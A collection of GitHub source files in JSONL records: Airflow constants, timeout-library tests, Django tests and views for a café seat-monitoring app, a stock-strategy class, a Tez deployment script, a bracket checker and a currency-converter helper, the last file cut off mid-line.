+{"seq_id":"2536712457","text":"from datetime import datetime, timedelta\n\n\nDAG_ID = \"batched_update\"\nSTART_DATE = datetime(2023, 5, 1)\nSLACK_USERNAME = \"Upstream Batched Update\"\nSLACK_ICON = \":database:\"\n\nDEFAULT_BATCH_SIZE = 10_000\nDAGRUN_TIMEOUT = timedelta(days=31 * 3)\nSELECT_TIMEOUT = timedelta(hours=24)\nUPDATE_TIMEOUT = timedelta(days=30 * 3) # 3 months\n\n# Task IDs used for branching operator\nGET_EXPECTED_COUNT_TASK_ID = \"get_expected_update_count\"\nCREATE_TEMP_TABLE_TASK_ID = \"select_rows_to_update\"\n\n# Timeout for an individual batch, given in seconds\nDEFAULT_UPDATE_BATCH_TIMEOUT = 60 * 60 # 1 hour\n\nTEMP_TABLE_NAME = \"{query_id}_rows_to_update\"\nCREATE_TEMP_TABLE_QUERY = \"\"\"\n CREATE TABLE {temp_table_name} AS\n SELECT ROW_NUMBER() OVER() row_id, identifier\n FROM {table_name}\n {select_query};\n \"\"\"\nCREATE_TEMP_TABLE_INDEX_QUERY = \"CREATE INDEX ON {temp_table_name}(row_id)\"\nSELECT_TEMP_TABLE_COUNT_QUERY = \"\"\"\n SELECT COUNT(*)\n FROM {temp_table_name};\n \"\"\"\nUPDATE_BATCH_QUERY = \"\"\"\n UPDATE {table_name}\n {update_query}\n WHERE identifier in (\n SELECT identifier FROM {temp_table_name}\n WHERE row_id > {batch_start} AND row_id <= {batch_end}\n FOR UPDATE SKIP LOCKED\n );\n \"\"\"\nDROP_TABLE_QUERY = \"DROP TABLE IF EXISTS {temp_table_name} CASCADE;\"\nRETURN_ROW_COUNT = lambda c: c.rowcount # noqa: E731\n","repo_name":"WordPress/openverse","sub_path":"catalog/dags/database/batched_update/constants.py","file_name":"constants.py","file_ext":"py","file_size_in_byte":1339,"program_lang":"python","lang":"en","doc_type":"code","stars":157,"dataset":"github-code","pt":"82"} +{"seq_id":"33287692328","text":"import functools\nimport random\nimport sys\nimport time\nimport unittest\n\nimport xtimeout\n\ntry:\n import _thread\n thread_enabled = True\n del _thread\nexcept ImportError:\n thread_enabled = False\n\nif thread_enabled:\n import threading\n\ndef busy(seconds):\n if seconds == -1:\n while 1:\n pass\n end = time.time() + seconds\n while time.time() < end:\n for i in range(random.randint(1000, 3000)):\n pass\n\n\nclass TimeoutError(Exception):\n pass\n\n\nclass TestMonitor(unittest.TestCase):\n def test_loop(self):\n def on_timeout(start_time):\n raise TimeoutError\n start = time.time()\n with self.assertRaises(TimeoutError):\n with xtimeout.check_context(200, on_timeout):\n busy(-1)\n elapsed = time.time() - start\n self.assertAlmostEqual(elapsed, 0.2, delta=0.05)\n\n def test_with(self):\n def on_timout(start_time):\n nonlocal called\n called = True\n\n called = False\n with xtimeout.check_context(10, on_timout):\n busy(0.1)\n self.assertTrue(called)\n\n def test_with_nest(self):\n def on_timeout_1(start_time):\n nonlocal called1\n self.assertGreaterEqual(time.time() - start_time, 0.05)\n called1 = True\n\n def on_timeout_2(start_time):\n nonlocal called2\n nonlocal count\n count += 1\n called2 = True\n\n called1 = False\n called2 = False\n count = 0\n\n start = time.time()\n with xtimeout.check_context(50, on_timeout_1):\n start1 = time.clock()\n while time.clock() - start1 < 0.1:\n for i in range(2):\n start2 = time.clock()\n with xtimeout.check_context(10, on_timeout_2):\n busy(0.1)\n\n self.assertEqual(count, 2)\n self.assertTrue(called1)\n self.assertTrue(called2)\n\n def test_break(self):\n def on_timeout(start_time):\n raise TimeoutError\n\n with self.assertRaises(TimeoutError):\n with xtimeout.check_context(50, on_timeout):\n busy(0.1)\n\n def test_decorator(self):\n def on_timeout(start_time):\n raise Exception(\"Timeout\")\n\n @xtimeout.check_time(10, on_timeout)\n def func():\n busy(1)\n\n with self.assertRaises(Exception) as context:\n func()\n self.assertEqual(context.exception.args[0], \"Timeout\")\n\n def test_trace_recover(self):\n def dummy_trace(*args):\n pass\n\n def on_timeout(start_time):\n self.assertEqual(sys.gettrace(), dummy_trace)\n raise TimeoutError\n\n old_trace = sys.gettrace()\n sys.settrace(dummy_trace)\n try:\n with self.assertRaises(TimeoutError):\n with xtimeout.check_context(50, on_timeout):\n busy(-1)\n finally:\n sys.settrace(old_trace)\n\n def test_reset(self):\n def ont_time(start_time):\n raise TimeoutError\n\n count = 0\n with self.assertRaises(TimeoutError):\n with xtimeout.check_context(250, ont_time) as context:\n for i in range(1, 5):\n count = i\n # timeout on 300ms\n busy(0.1 * i)\n context.reset()\n self.assertEqual(count, 3)\n\n\n@unittest.skipIf(not thread_enabled, \"no threading\")\nclass TestMultiThread(unittest.TestCase):\n def test_child_thread(self):\n def on_timeout(start_time):\n raise TimeoutError\n\n def thfunc():\n with self.assertRaises(TimeoutError):\n with xtimeout.check_context(50, on_timeout):\n busy(0.1)\n\n th = threading.Thread(target=thfunc)\n th.start()\n th.join()\n\n def test_multi_threads(self):\n def on_timeout(start_time):\n nonlocal count\n count += 1\n raise TimeoutError\n count = 0\n def thfunc():\n with self.assertRaises(TimeoutError):\n with xtimeout.check_context(50, on_timeout):\n busy(-1)\n \n ths = []\n for i in range(4):\n th = threading.Thread(target=thfunc)\n th.start()\n ths.append(th)\n for th in ths:\n th.join()\n self.assertEqual(count, 4)\n\n\nif __name__ == \"__main__\":\n unittest.main()\n","repo_name":"amos402/py-xtimeout","sub_path":"xtimeout/tests/test_monitor.py","file_name":"test_monitor.py","file_ext":"py","file_size_in_byte":4513,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"82"} +{"seq_id":"13131500809","text":"from django.test import TestCase, Client\nfrom http import HTTPStatus\nfrom django.urls import reverse\n\n\nfrom posts.models import Group, Post, User\n\n\nclass PostURLTests(TestCase):\n @classmethod\n def setUpClass(cls):\n super().setUpClass()\n cls.user = User.objects.create_user(username='test_user')\n cls.group = Group.objects.create(\n title='Тестовая группа',\n slug='test_slug',\n description='Тестовое описание',\n )\n cls.post = Post.objects.create(\n author=cls.user,\n text='Тестовый текст',\n )\n\n def setUp(self):\n self.guest_client = Client()\n self.authorized_client = Client()\n self.authorized_client.force_login(self.user)\n\n def test_url_exists_at_desired_location(self):\n \"\"\"Страницы доступны любому пользователю.\"\"\"\n url_names = {\n reverse('posts:index'): HTTPStatus.OK,\n reverse('posts:group_list', kwargs={\n 'slug': self.group.slug\n }): HTTPStatus.OK,\n reverse('posts:profile', kwargs={\n 'username': self.user\n }): HTTPStatus.OK,\n reverse('posts:post_detail', kwargs={\n 'post_id': self.post.id\n }): HTTPStatus.OK,\n }\n for url, status in url_names.items():\n with self.subTest(url=url):\n response = self.guest_client.get(url)\n self.assertEqual(response.status_code, status)\n","repo_name":"Saggitel/hw04_tests","sub_path":"yatube/posts/tests/test_urls.py","file_name":"test_urls.py","file_ext":"py","file_size_in_byte":1572,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"86644734630","text":"import datetime\nimport math\n\nimport numpy as np\nimport pandas as pd\n\nclass Strategy():\n def __init__(self, sotck_data):\n self.stock_data = sotck_data\n self.strategy_list = []\n self.constraint = []\n self.call_dict = {}\n self.set_func_dict()\n self.load_strategy_data()\n \n def set_func_dict(self):\n self.call_dict = {\n 'dropdown': self.dropdown,\n 'profit': self.profit,\n 'std': self.std,\n 'ma20': self.ma20,\n 'pe': self.pe,\n 'pb': self.pb,\n 'dividend': self.dividend,\n 'than60ma': self.than60ma,\n 'than120ma': self.than120ma,\n 'than_month': self.than_month,\n 'than_volume': self.than_volume\n }\n\n def load_strategy_data(self):\n # json file loading\n # create test data\n self.strategy_list = []\n a = {\n 'name': 'dropdown',\n 'period': 365 * 3,\n 'threshold': 50,\n 'operation': -1\n }\n b = {\n 'name': 'profit',\n 'period': 365 * 3,\n 'threshold': 10,\n 'operation': 1\n }\n c = {\n 'name': 'std',\n 'period': 365 * 3,\n 'threshold': 0.02,\n 'operation': -1\n }\n d = {\n 'name': 'ma20',\n 'period': 15,\n 'threshold': 100,\n 'operation': -1\n }\n e = {\n 'name': 'ma20',\n 'period': 15,\n 'threshold': 10,\n 'operation': 1\n }\n f = {\n 'name': 'pb',\n 'period': 15,\n 'threshold': 2,\n 'operation': -1\n }\n g = {\n 'name': 'pe',\n 'period': 15,\n 'threshold': 15,\n 'operation': -1\n }\n h = {\n 'name': 'pe',\n 'period': 15,\n 'threshold': 10,\n 'operation': 1\n }\n i = {\n 'name': 'than60ma',\n 'period': 15,\n 'threshold': 0,\n 'operation': 1\n }\n j = {\n 'name': 'than120ma',\n 'period': 15,\n 'threshold': 0,\n 'operation': 1\n }\n k = {\n 'name': 'dividend',\n 'period': 15,\n 'threshold': 4,\n 'operation': 1\n }\n l = {\n 'name': 'than_month',\n 'period': 15,\n 'threshold': 12,\n 'operation': 1\n }\n m = {\n 'name': 'than_volume',\n 'period': 15,\n 'threshold': 50,\n 'operation': 1\n }\n \n #self.strategy_list.append(a)\n #self.strategy_list.append(b)\n #self.strategy_list.append(c)\n #self.strategy_list.append(d)\n #self.strategy_list.append(e)\n self.strategy_list.append(f)\n self.strategy_list.append(g)\n #self.strategy_list.append(h)\n self.strategy_list.append(i)\n self.strategy_list.append(j)\n self.strategy_list.append(k)\n self.strategy_list.append(l)\n self.strategy_list.append(m)\n\n def combine_constraint(self, start_date):\n constraint_list = []\n for strategy in self.strategy_list:\n res = self.call_dict[strategy['name']](start_date, strategy['period'], strategy['threshold'], strategy['operation'])\n constraint_list.append(res)\n self.constraint = constraint_list[0]\n for i in range(1, len(constraint_list)):\n self.constraint = self.constraint & constraint_list[i]\n\n def get_constraint(self, start_date):\n self.combine_constraint(start_date)\n return self.constraint\n\n def dropdown(self, start_date, period, threshold, operation):\n prev_date = start_date - datetime.timedelta(period)\n data = self.stock_data['close'].truncate(prev_date.strftime('%Y-%m-%d'), start_date.strftime('%Y-%m-%d'))\n result = (data.cummax() - data).max()/data.max() * 100\n if operation < 0:\n return result[result < threshold].index\n elif operation == 0:\n return result[result == threshold].index\n else:\n return result[result > threshold].index\n\n def profit(self, start_date, period, threshold, operation):\n prev_date = start_date - datetime.timedelta(period)\n data = self.stock_data['close'].truncate(prev_date.strftime('%Y-%m-%d'), start_date.strftime('%Y-%m-%d'))\n result = (data.iloc[-1] / data.iloc[0] - 1) * 100\n if operation < 0:\n return result[result < threshold].index\n elif operation == 0:\n return result[result == threshold].index\n else:\n return result[result > threshold].index\n\n def std(self, start_date, period, threshold, operation):\n prev_date = start_date - datetime.timedelta(period)\n data = self.stock_data['close'].truncate(prev_date.strftime('%Y-%m-%d'), start_date.strftime('%Y-%m-%d'))\n result = (data / data.shift()).std()\n if operation < 0:\n return result[result < threshold].index\n elif operation == 0:\n return result[result == threshold].index\n else:\n return result[result > threshold].index\n\n def ma20(self, start_date, period, threshold, operation):\n prev_date = start_date - datetime.timedelta(period)\n data = self.stock_data['20ma'].truncate(prev_date.strftime('%Y-%m-%d'), start_date.strftime('%Y-%m-%d'))\n result = data.iloc[-1]\n if operation < 0:\n return result[result < threshold].index\n elif operation == 0:\n return result[result == threshold].index\n else:\n return result[result > threshold].index\n\n def pb(self, start_date, period, threshold, operation):\n prev_date = start_date - datetime.timedelta(period)\n data = self.stock_data['PB'].truncate(prev_date.strftime('%Y-%m-%d'), start_date.strftime('%Y-%m-%d'))\n result = data.iloc[-1]\n if operation < 0:\n return result[result < threshold].index.astype(str)\n elif operation == 0:\n return result[result == threshold].index.astype(str)\n else:\n return result[result > threshold].index.astype(str)\n\n def pe(self, start_date, period, threshold, operation):\n prev_date = start_date - datetime.timedelta(period)\n data = self.stock_data['PE'].truncate(prev_date.strftime('%Y-%m-%d'), start_date.strftime('%Y-%m-%d'))\n result = data.iloc[-1]\n if operation < 0:\n return result[result < threshold].index.astype(str)\n elif operation == 0:\n return result[result == threshold].index.astype(str)\n else:\n return result[result > threshold].index.astype(str)\n\n def dividend(self, start_date, period, threshold, operation):\n prev_date = start_date - datetime.timedelta(period)\n data = self.stock_data['dividend'].truncate(prev_date.strftime('%Y-%m-%d'), start_date.strftime('%Y-%m-%d'))\n result = data.iloc[-1]\n if operation < 0:\n return result[result < threshold].index.astype(str)\n elif operation == 0:\n return result[result == threshold].index.astype(str)\n else:\n return result[result > threshold].index.astype(str)\n \n def than60ma(self, start_date, period, threshold, operation):\n prev_date = start_date - datetime.timedelta(period)\n close = self.stock_data['close'].truncate(prev_date.strftime('%Y-%m-%d'), start_date.strftime('%Y-%m-%d'))\n ma60 = self.stock_data['60ma'].truncate(prev_date.strftime('%Y-%m-%d'), start_date.strftime('%Y-%m-%d'))\n close = close.iloc[-1]\n ma60 = ma60.iloc[-1]\n if operation < 0:\n res = np.where(close < ma60, True, False)\n else:\n res = np.where(close > ma60, True, False)\n result = pd.Series(res, index=close.index)\n return result[result == True].index.astype(str)\n\n def than120ma(self, start_date, period, threshold, operation):\n prev_date = start_date - datetime.timedelta(period)\n close = self.stock_data['close'].truncate(prev_date.strftime('%Y-%m-%d'), start_date.strftime('%Y-%m-%d'))\n ma120 = self.stock_data['120ma'].truncate(prev_date.strftime('%Y-%m-%d'), start_date.strftime('%Y-%m-%d'))\n close = close.iloc[-1]\n ma120 = ma120.iloc[-1]\n if operation < 0:\n res = np.where(close < ma120, True, False)\n else:\n res = np.where(close > ma120, True, False)\n result = pd.Series(res, index=close.index)\n return result[result == True].index.astype(str)\n\n def than_month(self, start_date, period, threshold, operation):\n prev_date = start_date - datetime.timedelta(600)\n month = self.stock_data['month'].truncate(prev_date.strftime('%Y-%m-%d'), start_date.strftime('%Y-%m-%d'))\n if len(month.index) <= 2 or len(month.index) <= threshold + 1:\n cur_month = month.iloc[-1]\n prev_month = month.iloc[-1]\n else:\n cur_month = month.iloc[-2]\n prev_month = month.iloc[-(threshold+1)]\n if operation < 0:\n res = np.where(cur_month < prev_month, True, False)\n else:\n res = np.where(cur_month > prev_month, True, False)\n result = pd.Series(res, index=cur_month.index)\n return result[result == True].index.astype(str)\n\n def than_volume(self, start_date, period, threshold, operation):\n prev_date = start_date - datetime.timedelta(period)\n volume = self.stock_data['volume'].truncate(prev_date.strftime('%Y-%m-%d'), start_date.strftime('%Y-%m-%d'))\n\n result = ((volume.iloc[-1] - volume.iloc[-2]) / volume.iloc[-2]) * 100\n if operation < 0:\n return result[result < threshold].index\n elif operation == 0:\n return result[result == threshold].index\n else:\n return result[result > threshold].index\n\n","repo_name":"mistysya/stock_backtest","sub_path":"strategy.py","file_name":"strategy.py","file_ext":"py","file_size_in_byte":10069,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"7797930293","text":"#!/usr/bin/python\n\nfrom utils.util import *\n\ndef deploy_tez_internal(default_conf, custom_conf, master, beaver_env):\n tez_vesrion = beaver_env.get(\"TEZ_VERSION\")\n download_tez(master, tez_vesrion)\n copy_tez_lib_to_hive(master)\n copy_tez_conf_to_hadoop(default_conf, custom_conf, [master], beaver_env)\n\ndef download_tez(node, version):\n print (colors.LIGHT_BLUE + \"Distribute \" + \"tar.gz file\" + \" for apache-tez-\" + version + \"-bin\" + colors.ENDC)\n download_url = \"http://\" + download_server + \"/software\"\n package = \"apache-tez-\" + version + \"-bin\" + \".tar.gz\"\n if not os.path.isfile(os.path.join(package_path, package)):\n print (colors.LIGHT_BLUE + \"\\tDownloading \" + package + \" from our repo...\" + colors.ENDC)\n os.system(\"wget --no-proxy -P \" + package_path + \" \" + download_url + \"/\" + package)\n else:\n print (colors.LIGHT_GREEN + \"\\t\" + package + \" has already exists in Beaver package\" + colors.ENDC)\n print (colors.LIGHT_BLUE + \"\\tCopy \" + package + \" to \" + node.hostname + \"...\" + colors.ENDC)\n ssh_execute(node, \"mkdir -p /opt/Beaver/\")\n ssh_copy(node, os.path.join(package_path, package), \"/opt/Beaver/\" + package)\n print (colors.LIGHT_BLUE + \"\\tUnzip \" + package + \" on \" + node.hostname + \"...\" + colors.ENDC)\n softlink = \"/opt/Beaver/tez\"\n cmd = \"rm -rf \" + softlink + \";\"\n cmd += \"rm -rf /opt/Beaver/tez-*;\"\n cmd += \"mkdir /opt/Beaver/tez-\" + version + \";\"\n cmd += \"tar zxf /opt/Beaver/\" + package + \" -C /opt/Beaver/tez-\" + version + \" --strip-components=1 > /dev/null\"\n ssh_execute(node, cmd)\n cmd = \"ln -s /opt/Beaver/tez-\" + version + \" \" + softlink + \";\"\\\n + \"rm -rf /opt/Beaver/\" + package\n ssh_execute(node, cmd)\n\ndef copy_tez_lib_to_hive(node):\n print (colors.LIGHT_BLUE + \"Copy Tez lib to Hive\" + colors.ENDC)\n cmd = \"yes|cp /opt/Beaver/tez/*.jar /opt/Beaver/hive/lib;\"\n cmd += \"yes|cp /opt/Beaver/tez/lib/*.jar /opt/Beaver/hive/lib\"\n ssh_execute(node, cmd)\n\ndef copy_tez_package_to_hadoop(node):\n print (colors.LIGHT_BLUE + \"Copy Tez package to Hadoop\" + colors.ENDC)\n cmd = \"hadoop dfsadmin -safemode wait;\"\n cmd += \"$HADOOP_HOME/bin/hadoop fs -mkdir /apps;\"\n cmd += \"$HADOOP_HOME/bin/hadoop fs -copyFromLocal /opt/Beaver/tez/share/tez.tar.gz /apps/\"\n ssh_execute(node, cmd)\n\ndef undeploy_tez(master):\n ssh_execute(master, \"rm -rf /opt/Beaver/tez*\")\n\ndef copy_tez_conf_to_hadoop(default_conf, custom_conf, master, beaver_env):\n output_tez_conf = update_tez_conf(default_conf, custom_conf, master)\n copy_configurations(master, output_tez_conf, \"hadoop\", beaver_env.get(\"HADOOP_HOME\"))\n\ndef update_tez_conf(default_conf, custom_conf, master):\n output_tez_conf = update_conf(\"tez\", default_conf, custom_conf)\n # for all conf files, replace the related value, eg, replace master_hostname with real hostname\n for conf_file in [file for file in os.listdir(output_tez_conf) if fnmatch.fnmatch(file, '*.xml')]:\n output_conf_file = os.path.join(output_tez_conf, conf_file)\n for node in master:\n dict = {'master_hostname': node.hostname}\n replace_conf_value(output_conf_file, dict)\n format_xml_file(output_conf_file)\n return output_tez_conf","repo_name":"Liu765940375/autohadoop","sub_path":"infra/tez.py","file_name":"tez.py","file_ext":"py","file_size_in_byte":3237,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"32234734957","text":"# python3\r\n\r\nfrom collections import namedtuple\r\nfrom os.path import exists\r\n\r\n\r\nBracket = namedtuple(\"Bracket\", [\"char\", \"position\"])\r\n\r\n\r\nRESPONSE_TYPE_SUCCESS = \"Success\"\r\n\r\n\r\nOPENING_BRACKETS = \"([{\"\r\nCLOSING_BRACKETS = \")]}\"\r\n\r\n\r\ndef are_matching(left, right):\r\n return (left + right) in [\"()\", \"[]\", \"{}\"]\r\n\r\n\r\ndef find_mismatch(text):\r\n opening_brackets_stack = []\r\n\r\n for i, char in enumerate(text):\r\n if char in OPENING_BRACKETS:\r\n opening_brackets_stack.append(Bracket(char, i))\r\n\r\n if char in CLOSING_BRACKETS and (not opening_brackets_stack or not are_matching(opening_brackets_stack.pop().char, char)):\r\n return i + 1\r\n\r\n if opening_brackets_stack:\r\n return opening_brackets_stack[0].position + 1\r\n\r\n return False\r\n\r\n\r\ndef get_text():\r\n while True:\r\n user_choice = input(\"F for file OR I for input OR Q to quit: \").strip().lower()\r\n if user_choice == \"f\":\r\n file_path = input(\"Input file path: \")\r\n if not exists(file_path):\r\n print(\"Incorrect file path\")\r\n\r\n with open(file_path, \"r\", encoding=\"UTF-8\") as file:\r\n return file.read()\r\n elif user_choice == 'i':\r\n return input(\"Input text: \")\r\n elif user_choice == 'q':\r\n print(\"Exiting\")\r\n\r\n break\r\n else:\r\n print(\"No such option exists\")\r\n\r\n\r\ndef handle_mismatch(text):\r\n mismatch_found = find_mismatch(text)\r\n if mismatch_found:\r\n print(mismatch_found)\r\n else:\r\n print(RESPONSE_TYPE_SUCCESS)\r\n\r\n\r\ndef main():\r\n text = get_text()\r\n if not text:\r\n return\r\n\r\n handle_mismatch(text)\r\n\r\n\r\nif __name__ == \"__main__\":\r\n main()\r\n","repo_name":"DA-testa/steks-un-iekavas-jbolozdina-rtu","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1732,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"5765156478","text":"import requests\nimport json\nfrom config import API_KEY, currencies\n\n\nclass APIException(Exception):\n pass\n\n\nclass Converter:\n @staticmethod\n def get_convert(curr_from, curr_to, amount):\n try:\n curr_from_key = currencies[curr_from]\n except KeyError:\n raise APIException(f'Валюта {curr_from} не найдена!\\nСписок доступных валют см. /values')\n try:\n curr_to_key = currencies[curr_to]\n except KeyError:\n raise APIException(f'Валюта {curr_to} не найдена!\\nСписок доступных валют см. /values')\n if curr_from_key == curr_to_key:\n raise APIException(f'Невозможно перевести одинаковые валюты {curr_from}')\n try:\n amount = float(amount.replace(',', '.'))\n except ValueError:\n raise APIException(f'Неудалось обработать количество: {amount}')\n\n url = f\"https://api.apilayer.com/exchangerates_data/convert?to={curr_to_key}&from={curr_from_key}&amount={amount}\"\n payload = {}\n headers = {\"apikey\": API_KEY}\n r = requests.request(\"GET\", url, headers=headers, data=payload)\n resp = json.loads(r.content)\n result = resp['result']\n return round(result, 3)\n\n\n","repo_name":"ZhArtem/SF-TelegramBot","sub_path":"extensions.py","file_name":"extensions.py","file_ext":"py","file_size_in_byte":1362,"program_lang":"python","lang":"ru","doc_type":"code","stars":3,"dataset":"github-code","pt":"82"} +{"seq_id":"70119083148","text":"from django.http import JsonResponse, HttpResponse, FileResponse\nfrom watcher.models import *\nimport requests\nimport json\nfrom watcher.tools import *\nimport os\nfrom django.utils import timezone\nfrom django.shortcuts import render\nfrom django.views.decorators.csrf import csrf_exempt\nfrom .serializers import *\nfrom rest_framework.response import Response\nfrom django.core.files.storage import default_storage #파일 저장 경로\nfrom google.cloud import vision\nfrom django.conf import settings\nimport traceback\nfrom django.db.models import Q\n\ndef send_seat_data(request):\n\t\"\"\"\n\tTodo : get camera id, store id\n\t\"\"\"\n\tbefore_pk_list = json.loads(request.POST['before_pk_list'])\n\n\tstring_data = request.POST['seat_data']\n\tcamera_pk = int(request.POST['camera_pk'])\n\tcamera = Camera.objects.get(pk=camera_pk)\n\tstore_pk = int(request.POST['store_pk'])\n\tstore = Store.objects.get(pk=store_pk)\n\tpicture_name = request.POST['picture_name']\n\treal_data = json.loads(string_data)\n\t\"\"\"\n\tcamera data set\n\t\"\"\"\n\tCamera.objects.filter(pk=camera_pk).update(cur_pic=picture_name)\n\t\"\"\"\n\treal data format\n\t{\n\t\t'is_elec': False, \n\t\t'capacity': '1', \n\t\t'position': {'f_x': 0.19416666666666665, 'f_y': 0.35, 's_x': 0.2808333333333333, 's_y': 0.46555555555555556}\n\t}\n\t\"\"\"\n\n\t\"\"\"\n\tTodo : cam addr setting : connection test\n\t\"\"\"\n\tcam_host = camera.cur_host\n\tcam_addr_test = '/'.join([cam_host, 'test'])\n\tif cam_host != 'test':\n\t\ttry:\n\t\t\tresponse = requests.get(cam_addr_test, timeout=5)\n\t\texcept Exception:\n\t\t\treturn HttpResponse('connection error')\n\t\tif response.text != 'ok':\n\t\t\treturn HttpResponse('connection error2')\n\t\n\tcur_pk_list = []\n\n\tto_cam_data_list = []\n\n\tfor elem in real_data:\n\t\tto_cam_data = {}\n\n\t\ttarget_data = {\n\t\t\t'pic_f_x' : round(elem['position']['f_x'],2),\n\t\t\t'pic_f_y' : round(elem['position']['f_y'],2),\n\t\t\t'pic_s_x' : round(elem['position']['s_x'],2),\n\t\t\t'pic_s_y' : round(elem['position']['s_y'],2),\n\t\t\t'is_elec' : elem['is_elec'],\n\t\t\t'capacity' : elem['capacity'],\n\t\t\t'camera' : camera,\n\t\t\t'store' : store,\n\t\t\t'pic_name': picture_name,\n\t\t}\n\t\tif bool(elem['pk']):\n\t\t\tcur_pk_list.append(elem['pk'])\n\t\t\tTable.objects.filter(pk=elem['pk']).update(**target_data)\n\t\t\tto_cam_data['pk'] = elem['pk']\n\t\t\tto_cam_data['position'] = elem['position']\n\t\t\tto_cam_data_list.append(to_cam_data)\n\t\telse:\n\t\t\ttable_tmp = Table.objects.create(**target_data)\n\t\t\tto_cam_data['pk'] = table_tmp.pk\n\t\t\tto_cam_data['position'] = elem['position']\n\t\t\tto_cam_data_list.append(to_cam_data)\n\n\t\"\"\"\n\tTodo : table delete\n\t\"\"\"\n\tfor before_pk in before_pk_list:\n\t\tif before_pk not in cur_pk_list:\n\t\t\tTable.objects.filter(pk=before_pk).delete()\n\t\n\t\"\"\"\n\tsend coord to cam\n\t\"\"\"\n\t\n\tcam_get_seat_info = '/'.join([camera.cur_host, 'get_seat_info'])\n\tif cam_host != 'test':\n\t\ttry:\n\t\t\toutput_data = {\n\t\t\t\t'is_updated' : True,\n\t\t\t\t'data' : to_cam_data_list\n\t\t\t}\n\t\t\tresponse = requests.post(cam_get_seat_info, data={'seat_data':json.dumps(output_data, indent=4)}, timeout=5)\n\t\texcept Exception:\n\t\t\treturn HttpResponse('connection error')\n\t\tif response.text != 'good':\n\t\t\treturn HttpResponse('connection error2')\n\n\treturn HttpResponse('good')\n\n\n#가게 정보 관련 \ndef get_store_info(request) :\n\tpk = int(request.GET['pk'])\n\tstore_info = Store.objects.get(pk=pk)\n\n\tdata = {\n\t\t'pk' : store_info.pk,\n\t\t'store_name' : store_info.store_name,\n\t\t'store_location' : store_info.store_location,\n\t}\n\n\treturn JsonResponse(json.dumps(store_info))\ndef delete_store_info(request) :\n\tpk = int(request.GET['pk'])\n\tstore = Store.objects.get(pk=pk)\n\tstore.delete()\n\treturn HttpResponse(\"delete success\")\n\ndef edit_store_info(request) :\n\tpk = int(request.POST.get('pk'))\n\tstore_name = request.POST['store_name']\n\tstore_location = request.POST.get('store_location')\n\tpicture_name = request.POST.get('picture_name')\n\tpic = request.FILES.get('img')\n\n\tstore = Store.objects.get(pk=pk)\n\t\n\tif pic :\n\t\tdefault_storage.delete('watcher/static/img/store/'+str(pk)+'/'+store.picture_name)\n\t\tdefault_storage.save('watcher/static/img/store/'+str(pk)+'/'+pic.name, pic)\n\n\tstore.store_name = store_name\n\tstore.store_location = store_location\n\tstore.picture_name = picture_name\n\tstore.save()\n\n\tstores = Store.objects.all()\n\tserialized_stores = StoreSerializer(stores,many=True)\n\n\treturn HttpResponse(json.dumps(serialized_stores.data))\n\ndef add_store_list(request) :\n\tstore_name = request.POST.get('store_name')\n\tstore_location = request.POST.get('store_location')\n\tpicture_name = request.POST.get('picture_name',\"modal_cafe_img.jpg\")\n\tpic = request.FILES.get('img')\n\t\t\n\tstore = Store(store_name=store_name, store_location=store_location, picture_name=picture_name)\n\tstore.save()\n\n\tif pic :\n\t\tdefault_storage.save('watcher/media/img/store/'+str(store.pk)+'/'+pic.name, pic)\n\t\tstore.picture_name=pic.name\n\t\tstore.save()\n\t\n\tdata = {\n\t\t'pk' : store.pk,\n\t\t'store_name' : store.store_name,\n\t\t'store_location' : store.store_location,\n\t\t'picture_name' : store.picture_name,\n\t}\n\n\treturn JsonResponse(data, safe=False)\n\ndef upload_store_img(requset) :\n\tpicture_name = requset.GET.get('picture_name')\n\tprint(\"img_start\")\n\treturn HttpResponse('img good')\n\n\n\n#카메라 정보 관련\n\ndef get_camera_info(request):\n\tpk = int(request.POST.get('pk'))\n\tcamera = Camera.objects.get(pk=pk)\n\n\tdata = {\n\t\t'pk' : camera.pk,\n\t\t'store_id' : camera.store_id,\n\t\t'cur_pic' : camera.cur_pic,\n\t\t'mac_addr' : camera.mac_addr,\n\t\t'cur_host' : camera.cur_host,\n\t\t'description' : camera.description,\n\t} \n\treturn JsonResponse(data, safe=False)\n\ndef edit_camera_info(request) :\n\tstore_id = int(request.GET['store_id'])\n\tpk = int(request.GET['pk'])\n\tmac_addr = request.GET.get('mac_addr')\n\tdescription = request.GET['description']\n\tcur_host = request.GET.get('cur_host')\n\n\tcamera = Camera.objects.filter(pk=pk)\n\tcamera.update(mac_addr=mac_addr,description=description,cur_host=cur_host)\n\tcamera = Camera.objects.get(pk=pk)\n\n\tcameras = Camera.objects.filter(store_id=store_id)\n\tserialized_cameras = CameraSerializer(cameras,many=True)\n\n\treturn HttpResponse(json.dumps(serialized_cameras.data))\n\t\ndef add_camera_info(request) :\n\t#cur_pic = request.GET['cur_pic']\n\tdescription = request.GET['description']\n\tstore_id= int(request.GET['store_id'])\n\tcur_host = request.GET.get('cur_host')\n\tmac_addr = request.GET.get('mac_addr')\n\n\n\tcamera=Camera(description = description, store_id = store_id, cur_host= cur_host, mac_addr=mac_addr)\n\tcamera.save()\n\n\tdata = {\n\t\t'pk' : camera.pk,\n\t\t'store_id' : camera.store_id,\n\t\t'cur_pic' : camera.cur_pic,\n\t\t'mac_addr' : camera.mac_addr,\n\t\t'cur_host' : camera.cur_host,\n\t\t'description' : camera.description,\n\t\t'floor_id' : camera.floor_id,\n\t}\n\treturn JsonResponse(data, safe=False) \n\ndef get_camera_info_without_floor(request) :\n\tstore_id = int(request.GET['store_id'])\n\tcamera_floor_list = Camera.objects.filter(store_id= store_id, floor_id__isnull= True)\n\tcamera = camera_floor_list.first()\n\n\tdata = serializers.serialize(\"json\",camera_floor_list,fields=('id','cur_pic','description','mac_addr','cur_host','store_id','floor_id'))\n\t\n\treturn HttpResponse(data)\n\ndef delete_camera_list(request) :\n\n\tstore_id = int(request.GET['store_id'])\n\tpk = int(request.GET['pk'])\n\n\tcamera = Camera.objects.filter(pk=pk, store_id= store_id)\n\tcamera.delete()\n\n\t\n\treturn HttpResponse('delete success') #수정 필요 -> 2020-08-25 수정완료\n\ndef check_camera_connection(request) :\n\tcur_host = 